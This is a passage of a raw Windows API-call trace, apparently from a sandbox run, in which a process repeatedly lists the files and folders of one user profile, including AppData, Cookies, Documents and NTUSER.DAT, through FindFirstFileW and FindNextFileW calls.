nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppData", cAlternateFileName="")) returned 1 [0209.028] FindNextFileW (in: hFindFile=0x1d46a7e0, lpFindFileData=0x1e0dec60 | out: lpFindFileData=0x1e0dec60*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x3d39b021, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x3d39b021, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x3d39b021, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Application Data", cAlternateFileName="APPLIC~1")) returned 1 [0209.029] FindNextFileW (in: hFindFile=0x1d46a7e0, lpFindFileData=0x1e0dec60 | out: lpFindFileData=0x1e0dec60*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x435fd682, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x435fd682, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x435fd682, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Contacts", cAlternateFileName="")) returned 1 [0209.029] FindNextFileW (in: hFindFile=0x1d46a7e0, lpFindFileData=0x1e0dec60 | out: lpFindFileData=0x1e0dec60*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x3d39b021, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x3d39b021, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x3d39b021, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Cookies", cAlternateFileName="")) returned 1 [0209.029] FindNextFileW (in: hFindFile=0x1d46a7e0, lpFindFileData=0x1e0dec60 | out: lpFindFileData=0x1e0dec60*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3ced6473, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0xfc74adce, ftLastAccessTime.dwHighDateTime=0x1d9eb0b, ftLastWriteTime.dwLowDateTime=0xfc74adce, ftLastWriteTime.dwHighDateTime=0x1d9eb0b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Desktop", cAlternateFileName="")) returned 1 [0209.029] FindNextFileW (in: hFindFile=0x1d46a7e0, lpFindFileData=0x1e0dec60 | out: lpFindFileData=0x1e0dec60*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3ced6473, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0xf86d1e3c, ftLastAccessTime.dwHighDateTime=0x1d9b561, ftLastWriteTime.dwLowDateTime=0xf86d1e3c, ftLastWriteTime.dwHighDateTime=0x1d9b561, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Documents", cAlternateFileName="DOCUME~1")) returned 1 [0209.029] FindNextFileW (in: hFindFile=0x1d46a7e0, lpFindFileData=0x1e0dec60 | out: lpFindFileData=0x1e0dec60*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3ced6473, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x436bc315, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x436bc315, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Downloads", cAlternateFileName="DOWNLO~1")) returned 1 [0209.030] FindNextFileW (in: hFindFile=0x1d46a7e0, lpFindFileData=0x1e0dec60 | out: lpFindFileData=0x1e0dec60*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3ceb0231, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x436238c4, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x436238c4, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Favorites", cAlternateFileName="FAVORI~1")) returned 1 [0209.030] FindNextFileW (in: hFindFile=0x1d46a7e0, lpFindFileData=0x1e0dec60 | out: lpFindFileData=0x1e0dec60*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3ceb0231, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x437c7194, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x437ed538, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Links", cAlternateFileName="")) returned 1 [0209.030] FindNextFileW (in: hFindFile=0x1d46a7e0, lpFindFileData=0x1e0dec60 | out: lpFindFileData=0x1e0dec60*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x3d39b021, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x3d39b021, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x3d39b021, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Local Settings", cAlternateFileName="LOCALS~1")) returned 1 [0209.030] FindNextFileW (in: hFindFile=0x1d46a7e0, lpFindFileData=0x1e0dec60 | out: lpFindFileData=0x1e0dec60*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3ceb0231, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0xf8495a1d, ftLastAccessTime.dwHighDateTime=0x1d9b561, ftLastWriteTime.dwLowDateTime=0xf8495a1d, ftLastWriteTime.dwHighDateTime=0x1d9b561, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Music", cAlternateFileName="")) returned 1 [0209.031] FindNextFileW (in: hFindFile=0x1d46a7e0, lpFindFileData=0x1e0dec60 | out: lpFindFileData=0x1e0dec60*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x3d374e80, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x3d374e80, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x3d374e80, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Documents", cAlternateFileName="MYDOCU~1")) returned 1 [0209.031] FindNextFileW (in: hFindFile=0x1d46a7e0, lpFindFileData=0x1e0dec60 | out: lpFindFileData=0x1e0dec60*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x3d39b021, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x3d39b021, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x3d39b021, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NetHood", cAlternateFileName="")) returned 1 [0209.031] FindNextFileW (in: hFindFile=0x1d46a7e0, lpFindFileData=0x1e0dec60 | out: lpFindFileData=0x1e0dec60*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x3ce3dbd0, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x19268d9a, ftLastAccessTime.dwHighDateTime=0x1d9b55d, ftLastWriteTime.dwLowDateTime=0x19268d9a, ftLastWriteTime.dwHighDateTime=0x1d9b55d, nFileSizeHigh=0x0, nFileSizeLow=0x140000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NTUSER.DAT", cAlternateFileName="")) returned 1 [0209.031] FindNextFileW (in: hFindFile=0x1d46a7e0, lpFindFileData=0x1e0dec60 | out: lpFindFileData=0x1e0dec60*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x3d2dc444, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x3d2dc444, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x3d2dc444, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x5d000, dwReserved0=0x0, dwReserved1=0x0, cFileName="ntuser.dat.LOG1", cAlternateFileName="NTUSER~1.LOG")) returned 1 [0209.031] FindNextFileW (in: hFindFile=0x1d46a7e0, lpFindFileData=0x1e0dec60 | out: lpFindFileData=0x1e0dec60*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x3d2dc444, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x3d2dc444, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x3d2dc444, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0xc3000, dwReserved0=0x0, dwReserved1=0x0, cFileName="ntuser.dat.LOG2", cAlternateFileName="NTUSER~2.LOG")) returned 1 [0209.032] FindNextFileW (in: hFindFile=0x1d46a7e0, lpFindFileData=0x1e0dec60 | out: lpFindFileData=0x1e0dec60*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x3d2dc444, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x3d2dc444, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x63434853, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x10000, dwReserved0=0x0, dwReserved1=0x0, cFileName="NTUSER.DAT{62e13464-7ee5-11e5-80c4-a4badb40df56}.TM.blf", cAlternateFileName="NTUSER~1.BLF")) returned 1 [0209.032] FindNextFileW (in: hFindFile=0x1d46a7e0, lpFindFileData=0x1e0dec60 | out: lpFindFileData=0x1e0dec60*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x3d3026e1, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x3d3026e1, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x6340e659, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x80000, dwReserved0=0x0, dwReserved1=0x0, cFileName="NTUSER.DAT{62e13464-7ee5-11e5-80c4-a4badb40df56}.TMContainer00000000000000000001.regtrans-ms", cAlternateFileName="NTUSER~1.REG")) returned 1 [0209.032] FindNextFileW (in: hFindFile=0x1d46a7e0, lpFindFileData=0x1e0dec60 | out: lpFindFileData=0x1e0dec60*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x3d3026e1, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x3d3026e1, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x6340e659, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x80000, dwReserved0=0x0, dwReserved1=0x0, cFileName="NTUSER.DAT{62e13464-7ee5-11e5-80c4-a4badb40df56}.TMContainer00000000000000000002.regtrans-ms", cAlternateFileName="NTUSER~2.REG")) returned 1 [0209.032] FindNextFileW (in: hFindFile=0x1d46a7e0, lpFindFileData=0x1e0dec60 | out: lpFindFileData=0x1e0dec60*(dwFileAttributes=0x6, ftCreationTime.dwLowDateTime=0x3d39b021, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x3d39b021, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x3d39b021, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x14, dwReserved0=0x0, dwReserved1=0x0, cFileName="ntuser.ini", cAlternateFileName="")) returned 1 [0209.032] FindNextFileW (in: hFindFile=0x1d46a7e0, lpFindFileData=0x1e0dec60 | out: lpFindFileData=0x1e0dec60*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x84ac775d, ftCreationTime.dwHighDateTime=0x1d70074, ftLastAccessTime.dwLowDateTime=0x84aeda3c, ftLastAccessTime.dwHighDateTime=0x1d70074, ftLastWriteTime.dwLowDateTime=0x84aeda3c, ftLastWriteTime.dwHighDateTime=0x1d70074, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="OneDrive", cAlternateFileName="")) returned 1 [0209.033] FindNextFileW (in: hFindFile=0x1d46a7e0, lpFindFileData=0x1e0dec60 | out: lpFindFileData=0x1e0dec60*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3ceb0231, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0xf8554708, ftLastAccessTime.dwHighDateTime=0x1d9b561, ftLastWriteTime.dwLowDateTime=0xf8554708, ftLastWriteTime.dwHighDateTime=0x1d9b561, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pictures", cAlternateFileName="")) returned 1 [0209.033] FindNextFileW (in: hFindFile=0x1d46a7e0, lpFindFileData=0x1e0dec60 | out: lpFindFileData=0x1e0dec60*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x3d39b021, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x3d39b021, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x3d39b021, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PrintHood", cAlternateFileName="PRINTH~1")) returned 1 [0209.033] FindNextFileW (in: hFindFile=0x1d46a7e0, lpFindFileData=0x1e0dec60 | out: lpFindFileData=0x1e0dec60*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x3d39b021, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x3d39b021, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x3d39b021, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Recent", cAlternateFileName="")) returned 1 [0209.033] FindNextFileW (in: hFindFile=0x1d46a7e0, lpFindFileData=0x1e0dec60 | out: lpFindFileData=0x1e0dec60*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3ceb0231, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x43754b80, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x43754b80, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Saved Games", cAlternateFileName="SAVEDG~1")) returned 1 [0209.034] FindNextFileW (in: hFindFile=0x1d46a7e0, lpFindFileData=0x1e0dec60 | out: lpFindFileData=0x1e0dec60*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x43695fb2, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x437a1142, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x437a1142, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Searches", cAlternateFileName="")) returned 1 [0209.034] FindNextFileW (in: hFindFile=0x1d46a7e0, lpFindFileData=0x1e0dec60 | out: lpFindFileData=0x1e0dec60*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x3d39b021, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x3d39b021, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x3d39b021, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="SendTo", cAlternateFileName="")) returned 1 [0209.034] FindNextFileW (in: hFindFile=0x1d46a7e0, lpFindFileData=0x1e0dec60 | out: lpFindFileData=0x1e0dec60*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x3d39b021, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x3d39b021, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x3d39b021, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Start Menu", cAlternateFileName="STARTM~1")) returned 1 [0209.034] FindNextFileW (in: hFindFile=0x1d46a7e0, lpFindFileData=0x1e0dec60 | out: lpFindFileData=0x1e0dec60*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x3d39b021, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x3d39b021, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x3d39b021, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Templates", cAlternateFileName="TEMPLA~1")) returned 1 [0209.035] FindNextFileW (in: hFindFile=0x1d46a7e0, lpFindFileData=0x1e0dec60 | out: lpFindFileData=0x1e0dec60*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3ceb0231, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0xf85a0b75, ftLastAccessTime.dwHighDateTime=0x1d9b561, ftLastWriteTime.dwLowDateTime=0xf85a0b75, ftLastWriteTime.dwHighDateTime=0x1d9b561, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Videos", cAlternateFileName="")) returned 1 [0209.035] FindNextFileW (in: hFindFile=0x1d46a7e0, lpFindFileData=0x1e0dec60 | out: lpFindFileData=0x1e0dec60*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3ceb0231, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0xf85a0b75, ftLastAccessTime.dwHighDateTime=0x1d9b561, ftLastWriteTime.dwLowDateTime=0xf85a0b75, ftLastWriteTime.dwHighDateTime=0x1d9b561, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Videos", cAlternateFileName="")) returned 0 [0209.035] FindClose (in: hFindFile=0x1d46a7e0 | out: hFindFile=0x1d46a7e0) returned 1 [0209.035] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0deec0) returned 1 [0209.035] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dee80) returned 1 [0209.035] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e0def90) returned 1 [0209.035] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX", nBufferLength=0x105, lpBuffer=0x1e0dea70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX", lpFilePart=0x0) returned 0x15 [0209.035] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\*"), lpFindFileData=0x1e0deca0 | out: lpFindFileData=0x1e0deca0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3ce179de, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x84ac775d, ftLastAccessTime.dwHighDateTime=0x1d70074, ftLastWriteTime.dwLowDateTime=0x84ac775d, ftLastWriteTime.dwHighDateTime=0x1d70074, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d46a7e0 [0209.036] FindNextFileW (in: hFindFile=0x1d46a7e0, lpFindFileData=0x1e0dec60 | out: lpFindFileData=0x1e0dec60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3ce179de, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x84ac775d, ftLastAccessTime.dwHighDateTime=0x1d70074, ftLastWriteTime.dwLowDateTime=0x84ac775d, ftLastWriteTime.dwHighDateTime=0x1d70074, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0209.036] FindNextFileW (in: hFindFile=0x1d46a7e0, lpFindFileData=0x1e0dec60 | out: lpFindFileData=0x1e0dec60*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x3ced6473, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x3d39b021, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x3d39b021, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppData", cAlternateFileName="")) returned 1 [0209.036] FindNextFileW (in: hFindFile=0x1d46a7e0, lpFindFileData=0x1e0dec60 | out: lpFindFileData=0x1e0dec60*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x3d39b021, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x3d39b021, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x3d39b021, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Application Data", cAlternateFileName="APPLIC~1")) returned 1 [0209.036] FindNextFileW (in: hFindFile=0x1d46a7e0, lpFindFileData=0x1e0dec60 | out: lpFindFileData=0x1e0dec60*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x435fd682, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x435fd682, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x435fd682, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Contacts", cAlternateFileName="")) returned 1 [0209.037] FindNextFileW (in: hFindFile=0x1d46a7e0, lpFindFileData=0x1e0dec60 | out: lpFindFileData=0x1e0dec60*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x3d39b021, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x3d39b021, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x3d39b021, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Cookies", cAlternateFileName="")) returned 1 [0209.037] FindNextFileW (in: hFindFile=0x1d46a7e0, lpFindFileData=0x1e0dec60 | out: lpFindFileData=0x1e0dec60*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3ced6473, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0xfc74adce, ftLastAccessTime.dwHighDateTime=0x1d9eb0b, ftLastWriteTime.dwLowDateTime=0xfc74adce, ftLastWriteTime.dwHighDateTime=0x1d9eb0b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Desktop", cAlternateFileName="")) returned 1 [0209.037] FindNextFileW (in: hFindFile=0x1d46a7e0, lpFindFileData=0x1e0dec60 | out: lpFindFileData=0x1e0dec60*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3ced6473, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0xf86d1e3c, ftLastAccessTime.dwHighDateTime=0x1d9b561, ftLastWriteTime.dwLowDateTime=0xf86d1e3c, ftLastWriteTime.dwHighDateTime=0x1d9b561, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Documents", cAlternateFileName="DOCUME~1")) returned 1 [0209.037] FindNextFileW (in: hFindFile=0x1d46a7e0, lpFindFileData=0x1e0dec60 | out: lpFindFileData=0x1e0dec60*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3ced6473, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x436bc315, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x436bc315, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Downloads", cAlternateFileName="DOWNLO~1")) returned 1 [0209.037] FindNextFileW (in: hFindFile=0x1d46a7e0, lpFindFileData=0x1e0dec60 | out: lpFindFileData=0x1e0dec60*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3ceb0231, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x436238c4, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x436238c4, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Favorites", cAlternateFileName="FAVORI~1")) returned 1 [0209.038] FindNextFileW (in: hFindFile=0x1d46a7e0, lpFindFileData=0x1e0dec60 | out: lpFindFileData=0x1e0dec60*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3ceb0231, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x437c7194, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x437ed538, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Links", cAlternateFileName="")) returned 1 [0209.038] FindNextFileW (in: hFindFile=0x1d46a7e0, lpFindFileData=0x1e0dec60 | out: lpFindFileData=0x1e0dec60*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x3d39b021, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x3d39b021, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x3d39b021, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Local Settings", cAlternateFileName="LOCALS~1")) returned 1 [0209.038] FindNextFileW (in: hFindFile=0x1d46a7e0, lpFindFileData=0x1e0dec60 | out: lpFindFileData=0x1e0dec60*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3ceb0231, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0xf8495a1d, ftLastAccessTime.dwHighDateTime=0x1d9b561, ftLastWriteTime.dwLowDateTime=0xf8495a1d, ftLastWriteTime.dwHighDateTime=0x1d9b561, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Music", cAlternateFileName="")) returned 1 [0209.038] FindNextFileW (in: hFindFile=0x1d46a7e0, lpFindFileData=0x1e0dec60 | out: lpFindFileData=0x1e0dec60*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x3d374e80, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x3d374e80, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x3d374e80, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Documents", cAlternateFileName="MYDOCU~1")) returned 1 [0209.038] FindNextFileW (in: hFindFile=0x1d46a7e0, lpFindFileData=0x1e0dec60 | out: lpFindFileData=0x1e0dec60*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x3d39b021, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x3d39b021, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x3d39b021, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NetHood", 